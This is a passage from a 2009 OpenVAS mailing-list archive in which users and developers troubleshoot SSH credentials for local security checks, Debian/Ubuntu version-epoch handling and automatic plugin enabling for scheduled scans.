Authorization[password]:SSH password (unsafe!): <|> PASSWORD > > I'm also enabling local checks for the operating system of the target. > But, the local checks aren't being triggered. Here are some of the > errors from openvasd.messages and openvasd.dump: > > openvasd.messages:[Thu Mar 19 10:51:16 2009][30128] shared_socket: > Secret/SSH/socket is unknown The issue of SSH connections is a known problem. I'm currently working on a solution to this that involves replacing ssh_func.inc with a "known" implementation. Cheers, Tim -- Tim Brown From shawnduffy at gmail.com Thu Mar 19 17:25:58 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 19 Mar 2009 12:25:58 -0400 Subject: [Openvas-discuss] Local checks and SSH In-Reply-To: <200903191624.27593.timb@nth-dimension.org.uk> References: <49C25CD7.6030401@gmail.com> <200903191624.27593.timb@nth-dimension.org.uk> Message-ID: <49C27216.3010702@gmail.com> OK no problem. So are you saying that SSH connections and local checks are not supported at all or are they simply hit or miss? Thanks! Tim Brown wrote: > On Thursday 19 March 2009 14:55:19 Shawn Duffy wrote: >> Tired of hearing from me yet? :-) > > Not at all, feedback is always good. > >> So, I'm setting a username and password in the client prefs as follows: >> >> SSH Authorization[entry]:SSH login name: <|> USERNAME >> SSH Authorization[password]:SSH password (unsafe!): <|> PASSWORD >> >> I'm also enabling local checks for the operating system of the target. >> But, the local checks aren't being triggered. Here are some of the >> errors from openvasd.messages and openvasd.dump: >> >> openvasd.messages:[Thu Mar 19 10:51:16 2009][30128] shared_socket: >> Secret/SSH/socket is unknown > > The issue of SSH connections is a known problem. I'm currently working on a > solution to this that involves replacing ssh_func.inc with a "known" > implementation. > > Cheers, > Tim From timb at nth-dimension.org.uk Thu Mar 19 17:32:02 2009 From: timb at nth-dimension.org.uk (Tim Brown) Date: Thu, 19 Mar 2009 16:32:02 +0000 Subject: [Openvas-discuss] Local checks and SSH In-Reply-To: <49C27216.3010702@gmail.com> References: <49C25CD7.6030401@gmail.com> <200903191624.27593.timb@nth-dimension.org.uk> <49C27216.3010702@gmail.com> Message-ID: <200903191632.04047.timb@nth-dimension.org.uk> On Thursday 19 March 2009 16:25:58 Shawn Duffy wrote: > OK no problem. So are you saying that SSH connections and local checks > are not supported at all or are they simply hit or miss? Hit and miss. I started working on fixing the bugs and soon realised that it would probably take rewriting the .inc file and at this stage began investigating other options. It seems to work better with standard OpenSSH than the various variation. Tim -- Tim Brown From jsullivan at opensourcedevel.com Thu Mar 19 21:06:02 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Thu, 19 Mar 2009 16:06:02 -0400 Subject: [Openvas-discuss] updaterc script? Message-ID: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> Hello, all. We are delighted that, after tracking down a pile of dependencies, our CentOS 5.2 based automated vulnerability scanning server is running on OpenVAS. However, it is automated and runs scans from cron jobs calling OpenVAS-Client in batch mode. Thus, updating the rc files with the latest plugins is a problem. Is there an OpenVAS equivalent of the various update-nessusrc scripts we used to use under Nessus? Thanks - John -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From bchandra at secpod.com Fri Mar 20 04:53:30 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Fri, 20 Mar 2009 09:23:30 +0530 Subject: [Openvas-discuss] Local checks and SSH In-Reply-To: <49C25CD7.6030401@gmail.com> References: <49C25CD7.6030401@gmail.com> Message-ID: Hello Shawn, Local checks are working in general. As Tim mentioned, OpenSSH is being looked at to make it better. Please see my inline comments, -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn Duffy Sent: Thursday, March 19, 2009 8:25 PM To: openvas-discuss at wald.intevation.org Subject: [Openvas-discuss] Local checks and SSH > Tired of hearing from me yet? :-) > So, I'm setting a username and password in the client prefs as follows: > SSH Authorization[entry]:SSH login name: <|> USERNAME > SSH Authorization[password]:SSH password (unsafe!): <|> PASSWORD Please verify your credentials by manually performing ssh from the OpenVAS host to the target. > I'm also enabling local checks for the operating system of the target. > But, the local checks aren't being triggered. Here are some of the > errors from openvasd.messages and openvasd.dump: > openvasd.messages:[Thu Mar 19 10:51:16 2009][30128] shared_socket: > Secret/SSH/socket is unknown > openvasd.messages:[Thu Mar 19 10:40:09 2009][29924] user USER : Not > launching ovcesa2009_0256.nasl against TARGET because the key > ssh/login/rpms is missing (this is not an error) > openvasd.messages:[Thu Mar 19 10:40:09 2009][29924] user USER : Not > launching gb_CESA-2008_0161_cups_centos5_x86_64.nasl against TARGET > because the key ssh/login/release is missing (this is not an error) > openvasd.dump:SSH-DEBUG: Not setting login information for local checks > at a3s-mtc1.itsec.aol.com : No mapping found. Check the logs to see if gather-package-list.nasl is getting launched. Also make sure that ssh_get_info.nasl is not there in your Plugins set. Monitor the KB items that are getting set under, /usr/local/var/lib/openvas/users/OPENVAS_USER/kbs/HOST_NAME (/usr/local varies according to the installation) Specifically, check "Secret/SSH/login" and "Secret/SSH/password". I suspect these KB items are not getting set. Also, you could try with "silent_dependencies = no" for getting more information. Thanks, Chandra. From bchandra at secpod.com Fri Mar 20 04:55:17 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Fri, 20 Mar 2009 09:25:17 +0530 Subject: [Openvas-discuss] Ubuntu package inc In-Reply-To: <49C266EC.8090604@securityspace.com> References: <49C25D0F.8010202@securityspace.com> <49C266EC.8090604@securityspace.com> Message-ID: <2C18AA27636145529FDA1924874C658D@bchandra> Thanks for making the changes Thomas! Chandra. -----Original Message----- From: Thomas Reinke [mailto:lists at securityspace.com] Sent: Thursday, March 19, 2009 9:08 PM To: Chandrashekhar B Cc: openvas-discuss at wald.intevation.org Subject: Re: [Openvas-discuss] Ubuntu package inc Ugh. Seems I just ran into a brick wall on this one. Thinking our parsers were incorrectly dropping the epoch was itself incorrect. The epoch portions of the version strings are actually not readily available in the advisories. That makes Chandra's original suggestion probably the best one - to drop the epoch. It does mean that we may have a few cases to deal with where an epoch change results in a script failure. But those are probably more easily handled as one-off situations at this point in time. Thomas Thomas Reinke wrote: > Chandrashekhar B wrote: >> For some of the packages on Ubuntu, such as, >> >> openoffice.org-help-en-us 2.4.1-1ubuntu2.1 >> >> when you run dpkg -l, it returns, >> >> openoffice.org-help-en-us 1:2.4.1-1ubuntu2.1 >> >> Some local checks are failing because of this, since the version comparison >> fails. I guess the same thing happens on Debian too. We plan to update the >> pkg-lib-deb.inc to exclude 'n:' (if that exists in the package version) >> before comparison. Anybody sees issue with that? > > Hmm...that's a new one for us. Having looked into it, though, the > fix isn't in pkg-lib-deb.inc. The 'n:' at the start of > a package version string is called the epoch. It is deliberately > placed there to provide an additional sort should there either > be version number errors, or should an old version numbering scheme > be chosen to be left behind. As such, it does form an integral > part of the version number and cannot just be dropped. > http://manpages.ubuntu.com/manpages/intrepid/man5/deb-version.5.html > > The correct fix is to go back and update the local security checks > that dropped the 'n:' off the version number when parsing the > various checks. > > It seems in Debian the epoch was added post Debian 4.0, while > in Ubuntu it's showing up in the 8.x streams. > > Since we're the source of the problem on this one, I suggest > we fix it. I should be able to commit an update later on today. > > Thomas > > > > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > From bchandra at secpod.com Fri Mar 20 04:57:17 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Fri, 20 Mar 2009 09:27:17 +0530 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <82FF22E2E7A24BBFBB2469AEC7837AC6@bchandra> Hello John, I think, adding "auto_enable_new_plugins = yes" should do the job in the rc file. Chandra. -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of John A. Sullivan III Sent: Friday, March 20, 2009 1:36 AM To: openvas-discuss at wald.intevation.org Subject: [Openvas-discuss] updaterc script? Hello, all. We are delighted that, after tracking down a pile of dependencies, our CentOS 5.2 based automated vulnerability scanning server is running on OpenVAS. However, it is automated and runs scans from cron jobs calling OpenVAS-Client in batch mode. Thus, updating the rc files with the latest plugins is a problem. Is there an OpenVAS equivalent of the various update-nessusrc scripts we used to use under Nessus? Thanks - John -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society _______________________________________________ Openvas-discuss mailing list Openvas-discuss at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From felix.wolfsteller at intevation.de Fri Mar 20 08:41:52 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Fri, 20 Mar 2009 08:41:52 +0100 Subject: [Openvas-discuss] Local checks and SSH In-Reply-To: <49C25CD7.6030401@gmail.com> References: <49C25CD7.6030401@gmail.com> Message-ID: <200903200841.52386.felix.wolfsteller@intevation.de> Hi Shawn you go far beyond a nvt-database now, isnt it? Or are you reporting an issue with the client (if so, which version?) If its about your own tool, the openvas-devel mailinglist is the more appropriate one. On Thursday 19 March 2009 15:55:19 Shawn Duffy wrote: > So, I'm setting a username and password in the client prefs as follows: > > SSH Authorization[entry]:SSH login name: <|> USERNAME > SSH Authorization[password]:SSH password (unsafe!): <|> PASSWORD > > I'm also enabling local checks for the operating system of the target. > But, the local checks aren't being triggered. Here are some of the > errors from openvasd.messages and openvasd.dump: * Local Security Checks can be a hairy issue. * If you havent done it yet, enable all debugging stuff in opevasd.conf. * Set "number of [host|checks..] ... concurrently" to 1. * For local checks the server needs to be able to login to the target(s) via ssh. In principle two authorization mechanisms are supported: password and key-based. BUT the responsible nasl-script (ssh_func.inc) does not try both methods but prefers one (will be fixed sooner or later). To complicate matters, for a short time (until OpenVAS is the perfect tool), specification of credentials for LSCs has underwent some improvements, that led to changes in how the ssh_authorization script and the server register the interesting values (user/pwd/public keys) for further use by ssh_fuc.inc . To enjoy the improvements you need to run recent (latest) versions of both client and server and have a fresh ssh_authorization.nasl. Time to answer another of your questions: On Thursday 19 March 2009 15:55:19 Shawn Duffy wrote: > Tired of hearing from me yet? :-) No of course not! In short: 1) You want user/password- based logins? Look at ssh_authorization.nasl and send the respective "deprecated" preferences (should be commented enough, "Use per-target login information" = "no"). 2) You want key-based logins? A bit tougher, you have to send a couple of files, as described in CR #20 (http://openvas.org/openvas-cr-20.html) and set the preference as commented in ssh_authorization.nasl. Drop me a line or ask in IRC if you need details. > openvasd.dump:SSH-DEBUG: Not setting login information for local checks > at a3s-mtc1.itsec.aol.com : No mapping found. The SSH-DEBUG messages come from the attempts using the new feature (per-target setting of credentials). Ignore them if you use the deprecated method. The ssh_authorization.nasl will set then these info. Btw join the IRC channel (http://openvas.org/online-chat.html) and tell us about the progess! enjoy felix -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From jsullivan at opensourcedevel.com Fri Mar 20 10:51:23 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Fri, 20 Mar 2009 05:51:23 -0400 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <82FF22E2E7A24BBFBB2469AEC7837AC6@bchandra> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <82FF22E2E7A24BBFBB2469AEC7837AC6@bchandra> Message-ID: <1237542683.6572.0.camel@jaspav.missionsit.net.missionsit.net> That would be fabulous and so much simpler. So the plugins do not need to be listed in the rc file first? I was ignorantly assuming that would merely change the status from no to yes but then those wouldn't be new plugins, would they! Thanks - John On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > Hello John, > > I think, adding "auto_enable_new_plugins = yes" should do the job in the rc > file. > > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of John A. > Sullivan III > Sent: Friday, March 20, 2009 1:36 AM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] updaterc script? > > Hello, all. We are delighted that, after tracking down a pile of > dependencies, our CentOS 5.2 based automated vulnerability scanning > server is running on OpenVAS. However, it is automated and runs scans > from cron jobs calling OpenVAS-Client in batch mode. Thus, updating the > rc files with the latest plugins is a problem. > > Is there an OpenVAS equivalent of the various update-nessusrc scripts we > used to use under Nessus? Thanks - John -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From felix.wolfsteller at intevation.de Fri Mar 20 11:07:11 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Fri, 20 Mar 2009 11:07:11 +0100 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <1237542683.6572.0.camel@jaspav.missionsit.net.missionsit.net> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <82FF22E2E7A24BBFBB2469AEC7837AC6@bchandra> <1237542683.6572.0.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <200903201107.11714.felix.wolfsteller@intevation.de> "auto_enable_new_plugins" will switch new plugins on or off. In order to _get_ new plugins (wich, afaik are always added to the rc) you have to reconnect. As with the cron-job and the CLI you are freshly connecting each time you start a scan, that should be ensured. But I am not 100% sure that the "auto_enable_new_plugins" comes into effect when using the CLI. Would be nice if you report that (or if) it works. --felix On Friday 20 March 2009 10:51:23 John A. Sullivan III wrote: > That would be fabulous and so much simpler. So the plugins do not need > to be listed in the rc file first? I was ignorantly assuming that would > merely change the status from no to yes but then those wouldn't be new > plugins, would they! Thanks - John > > On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > > Hello John, > > > > I think, adding "auto_enable_new_plugins = yes" should do the job in the > > rc file. > > > > Chandra. > > > > -----Original Message----- > > From: openvas-discuss-bounces at wald.intevation.org > > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of John A. > > Sullivan III > > Sent: Friday, March 20, 2009 1:36 AM > > To: openvas-discuss at wald.intevation.org > > Subject: [Openvas-discuss] updaterc script? > > > > Hello, all. We are delighted that, after tracking down a pile of > > dependencies, our CentOS 5.2 based automated vulnerability scanning > > server is running on OpenVAS. However, it is automated and runs scans > > from cron jobs calling OpenVAS-Client in batch mode. Thus, updating the > > rc files with the latest plugins is a problem. > > > > Is there an OpenVAS equivalent of the various update-nessusrc scripts we > > used to use under Nessus? Thanks - John -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From jsullivan at opensourcedevel.com Fri Mar 20 13:37:11 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Fri, 20 Mar 2009 08:37:11 -0400 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <200903201107.11714.felix.wolfsteller@intevation.de> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <82FF22E2E7A24BBFBB2469AEC7837AC6@bchandra> <1237542683.6572.0.camel@jaspav.missionsit.net.missionsit.net> <200903201107.11714.felix.wolfsteller@intevation.de> Message-ID: <1237552631.6572.32.camel@jaspav.missionsit.net.missionsit.net> I'm quite keen to do that and my scripts have almost all been modified. However, I would I know this worked? Do I count the plugin lines in the rc file before and after running? Do I delete all the plugin lines in the rc file before running and see if anything at all is run? Alas, I am ignorant of the OpenVAS internals and sorely pressed for time on the overall project of which this is just a part (hence can't take much time right now to learn the internals). I'll gladly share the results once I know how to test. Thanks - John On Fri, 2009-03-20 at 11:07 +0100, Felix Wolfsteller wrote: > "auto_enable_new_plugins" will switch new plugins on or off. In order to _get_ > new plugins (wich, afaik are always added to the rc) you have to reconnect. > As with the cron-job and the CLI you are freshly connecting each time you > start a scan, that should be ensured. > But I am not 100% sure that the "auto_enable_new_plugins" comes into effect > when using the CLI. > Would be nice if you report that (or if) it works. > > --felix > > On Friday 20 March 2009 10:51:23 John A. Sullivan III wrote: > > That would be fabulous and so much simpler. So the plugins do not need > > to be listed in the rc file first? I was ignorantly assuming that would > > merely change the status from no to yes but then those wouldn't be new > > plugins, would they! Thanks - John > > > > On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > > > Hello John, > > > > > > I think, adding "auto_enable_new_plugins = yes" should do the job in the > > > rc file. > > > > > > Chandra. > > > > > > -----Original Message----- > > > From: openvas-discuss-bounces at wald.intevation.org > > > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of John A. > > > Sullivan III > > > Sent: Friday, March 20, 2009 1:36 AM > > > To: openvas-discuss at wald.intevation.org > > > Subject: [Openvas-discuss] updaterc script? > > > > > > Hello, all. We are delighted that, after tracking down a pile of > > > dependencies, our CentOS 5.2 based automated vulnerability scanning > > > server is running on OpenVAS. However, it is automated and runs scans > > > from cron jobs calling OpenVAS-Client in batch mode. Thus, updating the > > > rc files with the latest plugins is a problem. > > > > > > Is there an OpenVAS equivalent of the various update-nessusrc scripts we > > > used to use under Nessus? Thanks - John > > -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From felix.wolfsteller at intevation.de Fri Mar 20 15:29:45 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Fri, 20 Mar 2009 15:29:45 +0100 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <1237552631.6572.32.camel@jaspav.missionsit.net.missionsit.net> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <200903201107.11714.felix.wolfsteller@intevation.de> <1237552631.6572.32.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <200903201529.45752.felix.wolfsteller@intevation.de> On Friday 20 March 2009 13:37:11 John A. Sullivan III wrote: > I'm quite keen to do that and my scripts have almost all been modified. > However, I would I know this worked? Do I count the plugin lines in the > rc file before and after running? Do I delete all the plugin lines in > the rc file before running and see if anything at all is run? Sounds good to me. 1) Move some scripts away on server side, 2) rebuild the cache (delete the cache files .desc, restart server). 3) Get a coffee. 4) Remove plugin lines in clients rc. 5) Scan. 6) Backup rc file of client. 7) On server, move scripts back. 8) Ensure that cache is rebuild (restart server, verify by looking for new .desc s). 9) Scan. 10) Compare rc against back-uped one and especially look for new enabled plugins. > Alas, I am ignorant of the OpenVAS internals and sorely pressed for time > on the overall project of which this is just a part (hence can't take > much time right now to learn the internals). I'll gladly share the > results once I know how to test. Thanks - John Thats a pity, we all hope that it will change soon :) -- felix > > On Fri, 2009-03-20 at 11:07 +0100, Felix Wolfsteller wrote: > > "auto_enable_new_plugins" will switch new plugins on or off. In order to > > _get_ new plugins (wich, afaik are always added to the rc) you have to > > reconnect. As with the cron-job and the CLI you are freshly connecting > > each time you start a scan, that should be ensured. > > But I am not 100% sure that the "auto_enable_new_plugins" comes into > > effect when using the CLI. > > Would be nice if you report that (or if) it works. > > > > --felix > > > > On Friday 20 March 2009 10:51:23 John A. Sullivan III wrote: > > > That would be fabulous and so much simpler. So the plugins do not need > > > to be listed in the rc file first? I was ignorantly assuming that would > > > merely change the status from no to yes but then those wouldn't be new > > > plugins, would they! Thanks - John > > > > > > On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > > > > Hello John, > > > > > > > > I think, adding "auto_enable_new_plugins = yes" should do the job in > > > > the rc file. > > > > > > > > Chandra. > > > > > > > > -----Original Message----- > > > > From: openvas-discuss-bounces at wald.intevation.org > > > > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of > > > > John A. Sullivan III > > > > Sent: Friday, March 20, 2009 1:36 AM > > > > To: openvas-discuss at wald.intevation.org > > > > Subject: [Openvas-discuss] updaterc script? > > > > > > > > Hello, all. We are delighted that, after tracking down a pile of > > > > dependencies, our CentOS 5.2 based automated vulnerability scanning > > > > server is running on OpenVAS. However, it is automated and runs > > > > scans from cron jobs calling OpenVAS-Client in batch mode. Thus, > > > > updating the rc files with the latest plugins is a problem. > > > > > > > > Is there an OpenVAS equivalent of the various update-nessusrc scripts > > > > we used to use under Nessus? Thanks - John -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From jsullivan at opensourcedevel.com Fri Mar 20 15:40:41 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Fri, 20 Mar 2009 10:40:41 -0400 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <1237552631.6572.32.camel@jaspav.missionsit.net.missionsit.net> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <82FF22E2E7A24BBFBB2469AEC7837AC6@bchandra> <1237542683.6572.0.camel@jaspav.missionsit.net.missionsit.net> <200903201107.11714.felix.wolfsteller@intevation.de> <1237552631.6572.32.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <1237560041.6572.37.camel@jaspav.missionsit.net.missionsit.net> Good news! I tested both ways and it works! I ran with an old rc and, after the test, the line count was larger than before the test. I then ran with an empty list of plugins. After the test, the plugin list was filled in with the same number of plugins as at the end of the first test. Finally, by accident, I ran a test which did not have auto_enable_new_plugins set to yes and it did not update its list of plugins. Thanks to the most talented and esteemed developers! You've made my life much easier - John On Fri, 2009-03-20 at 08:37 -0400, John A. Sullivan III wrote: > I'm quite keen to do that and my scripts have almost all been modified. > However, I would I know this worked? Do I count the plugin lines in the > rc file before and after running? Do I delete all the plugin lines in > the rc file before running and see if anything at all is run? > > Alas, I am ignorant of the OpenVAS internals and sorely pressed for time > on the overall project of which this is just a part (hence can't take > much time right now to learn the internals). I'll gladly share the > results once I know how to test. Thanks - John > > On Fri, 2009-03-20 at 11:07 +0100, Felix Wolfsteller wrote: > > "auto_enable_new_plugins" will switch new plugins on or off. In order to _get_ > > new plugins (wich, afaik are always added to the rc) you have to reconnect. > > As with the cron-job and the CLI you are freshly connecting each time you > > start a scan, that should be ensured. > > But I am not 100% sure that the "auto_enable_new_plugins" comes into effect > > when using the CLI. > > Would be nice if you report that (or if) it works. > > > > --felix > > > > On Friday 20 March 2009 10:51:23 John A. Sullivan III wrote: > > > That would be fabulous and so much simpler. So the plugins do not need > > > to be listed in the rc file first? I was ignorantly assuming that would > > > merely change the status from no to yes but then those wouldn't be new > > > plugins, would they! Thanks - John > > > > > > On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > > > > Hello John, > > > > > > > > I think, adding "auto_enable_new_plugins = yes" should do the job in the > > > > rc file. > > > > > > > > Chandra. > > > > > > > > -----Original Message----- > > > > From: openvas-discuss-bounces at wald.intevation.org > > > > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of John A. > > > > Sullivan III > > > > Sent: Friday, March 20, 2009 1:36 AM > > > > To: openvas-discuss at wald.intevation.org > > > > Subject: [Openvas-discuss] updaterc script? > > > > > > > > Hello, all. We are delighted that, after tracking down a pile of > > > > dependencies, our CentOS 5.2 based automated vulnerability scanning > > > > server is running on OpenVAS. However, it is automated and runs scans > > > > from cron jobs calling OpenVAS-Client in batch mode. Thus, updating the > > > > rc files with the latest plugins is a problem. > > > > > > > > Is there an OpenVAS equivalent of the various update-nessusrc scripts we > > > > used to use under Nessus? Thanks - John > > > > -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From jsullivan at opensourcedevel.com Fri Mar 20 15:42:15 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Fri, 20 Mar 2009 10:42:15 -0400 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <200903201529.45752.felix.wolfsteller@intevation.de> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <200903201107.11714.felix.wolfsteller@intevation.de> <1237552631.6572.32.camel@jaspav.missionsit.net.missionsit.net> <200903201529.45752.felix.wolfsteller@intevation.de> Message-ID: <1237560135.6572.39.camel@jaspav.missionsit.net.missionsit.net> Argh! I was hoping to send my results before you took the time to respond but it looks like our emails crossed. My test was slightly different than what you propose. Please let me know if my methodology was inadequate. Thanks - John On Fri, 2009-03-20 at 15:29 +0100, Felix Wolfsteller wrote: > On Friday 20 March 2009 13:37:11 John A. Sullivan III wrote: > > I'm quite keen to do that and my scripts have almost all been modified. > > However, I would I know this worked? Do I count the plugin lines in the > > rc file before and after running? Do I delete all the plugin lines in > > the rc file before running and see if anything at all is run? > Sounds good to me. > 1) Move some scripts away on server side, > 2) rebuild the cache (delete the cache files .desc, restart server). > 3) Get a coffee. > 4) Remove plugin lines in clients rc. > 5) Scan. > 6) Backup rc file of client. > 7) On server, move scripts back. > 8) Ensure that cache is rebuild (restart server, verify by looking for > new .desc s). > 9) Scan. > 10) Compare rc against back-uped one and especially look for new enabled > plugins. > > > Alas, I am ignorant of the OpenVAS internals and sorely pressed for time > > on the overall project of which this is just a part (hence can't take > > much time right now to learn the internals). I'll gladly share the > > results once I know how to test. Thanks - John > > Thats a pity, we all hope that it will change soon :) > > -- felix > > > > > On Fri, 2009-03-20 at 11:07 +0100, Felix Wolfsteller wrote: > > > "auto_enable_new_plugins" will switch new plugins on or off. In order to > > > _get_ new plugins (wich, afaik are always added to the rc) you have to > > > reconnect. As with the cron-job and the CLI you are freshly connecting > > > each time you start a scan, that should be ensured. > > > But I am not 100% sure that the "auto_enable_new_plugins" comes into > > > effect when using the CLI. > > > Would be nice if you report that (or if) it works. > > > > > > --felix > > > > > > On Friday 20 March 2009 10:51:23 John A. Sullivan III wrote: > > > > That would be fabulous and so much simpler. So the plugins do not need > > > > to be listed in the rc file first? I was ignorantly assuming that would > > > > merely change the status from no to yes but then those wouldn't be new > > > > plugins, would they! Thanks - John > > > > > > > > On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > > > > > Hello John, > > > > > > > > > > I think, adding "auto_enable_new_plugins = yes" should do the job in > > > > > the rc file. > > > > > > > > > > Chandra. > > > > > > > > > > -----Original Message----- > > > > > From: openvas-discuss-bounces at wald.intevation.org > > > > > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of > > > > > John A. Sullivan III > > > > > Sent: Friday, March 20, 2009 1:36 AM > > > > > To: openvas-discuss at wald.intevation.org > > > > > Subject: [Openvas-discuss] updaterc script? > > > > > > > > > > Hello, all. We are delighted that, after tracking down a pile of > > > > > dependencies, our CentOS 5.2 based automated vulnerability scanning > > > > > server is running on OpenVAS. However, it is automated and runs > > > > > scans from cron jobs calling OpenVAS-Client in batch mode. Thus, > > > > > updating the rc files with the latest plugins is a problem. > > > > > > > > > > Is there an OpenVAS equivalent of the various update-nessusrc scripts > > > > > we used to use under Nessus? Thanks - John > > -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From felix.wolfsteller at intevation.de Fri Mar 20 15:54:18 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Fri, 20 Mar 2009 15:54:18 +0100 Subject: [Openvas-discuss] updaterc script? In-Reply-To: <1237560135.6572.39.camel@jaspav.missionsit.net.missionsit.net> References: <1237493162.6506.93.camel@jaspav.missionsit.net.missionsit.net> <200903201529.45752.felix.wolfsteller@intevation.de> <1237560135.6572.39.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <200903201554.18850.felix.wolfsteller@intevation.de> On Friday 20 March 2009 15:42:15 John A. Sullivan III wrote: > Argh! I was hoping to send my results before you took the time to > respond but it looks like our emails crossed. My test was slightly > different than what you propose. Please let me know if my methodology > was inadequate. Thanks - John Honestly, I do not know. The ultimate test is to see if the scans yield different results. I would say: looks good. -- felix > On Fri, 2009-03-20 at 15:29 +0100, Felix Wolfsteller wrote: > > On Friday 20 March 2009 13:37:11 John A. Sullivan III wrote: > > > I'm quite keen to do that and my scripts have almost all been modified. > > > However, I would I know this worked? Do I count the plugin lines in the > > > rc file before and after running? Do I delete all the plugin lines in > > > the rc file before running and see if anything at all is run? > > > > Sounds good to me. > > 1) Move some scripts away on server side, > > 2) rebuild the cache (delete the cache files .desc, restart server). > > 3) Get a coffee. > > 4) Remove plugin lines in clients rc. > > 5) Scan. > > 6) Backup rc file of client. > > 7) On server, move scripts back. > > 8) Ensure that cache is rebuild (restart server, verify by looking for > > new .desc s). > > 9) Scan. > > 10) Compare rc against back-uped one and especially look for new enabled > > plugins. > > > > > Alas, I am ignorant of the OpenVAS internals and sorely pressed for > > > time on the overall project of which this is just a part (hence can't > > > take much time right now to learn the internals). I'll gladly share > > > the results once I know how to test. Thanks - John > > > > Thats a pity, we all hope that it will change soon :) > > > > -- felix > > > > > On Fri, 2009-03-20 at 11:07 +0100, Felix Wolfsteller wrote: > > > > "auto_enable_new_plugins" will switch new plugins on or off. In order > > > > to _get_ new plugins (wich, afaik are always added to the rc) you > > > > have to reconnect. As with the cron-job and the CLI you are freshly > > > > connecting each time you start a scan, that should be ensured. > > > > But I am not 100% sure that the "auto_enable_new_plugins" comes into > > > > effect when using the CLI. > > > > Would be nice if you report that (or if) it works. > > > > > > > > --felix > > > > > > > > On Friday 20 March 2009 10:51:23 John A. Sullivan III wrote: > > > > > That would be fabulous and so much simpler. So the plugins do not > > > > > need to be listed in the rc file first? I was ignorantly assuming > > > > > that would merely change the status 